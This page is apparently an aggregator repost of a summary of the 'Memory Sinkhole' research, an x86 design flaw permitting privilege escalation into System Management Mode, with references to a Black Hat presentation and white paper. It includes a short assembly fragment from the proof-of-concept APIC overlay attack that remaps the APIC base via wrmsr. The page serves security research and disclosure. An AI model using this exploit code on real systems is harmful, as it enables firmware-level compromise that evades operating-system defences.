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Sinkhole

 4 years ago
source link: https://www.tuicool.com/articles/JvAFN3Z
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The Memory Sinkhole

: An x86 design flaw allowing ring -2 privilege escalation.

Overview

The memory sinkhole is a design flaw in x86 processors that allows code to escalate privileges into ring -2 (System Management Mode).

wbinvd
mov dword [0x10014], 0xffcf9aff
mov dword [0x10010], 0x9fa2ffff

mov eax, 0x1f5ff900
mov edx, 0
mov ecx, 0x1b
wrmsr

jmp $

The proof of concept APIC overlay attack illustrates one approach for using the flaw to elevate privileges.

References

The technique is outlined in detail in the Black Hat presentation .

Slides from the presentation are provided here .

The exploit white paper provides a technical overview of the flaw and exploitation approach.

Author

The Memory Sinkhole is a research effort from Christopher Domas ( @xoreaxeaxeax ).


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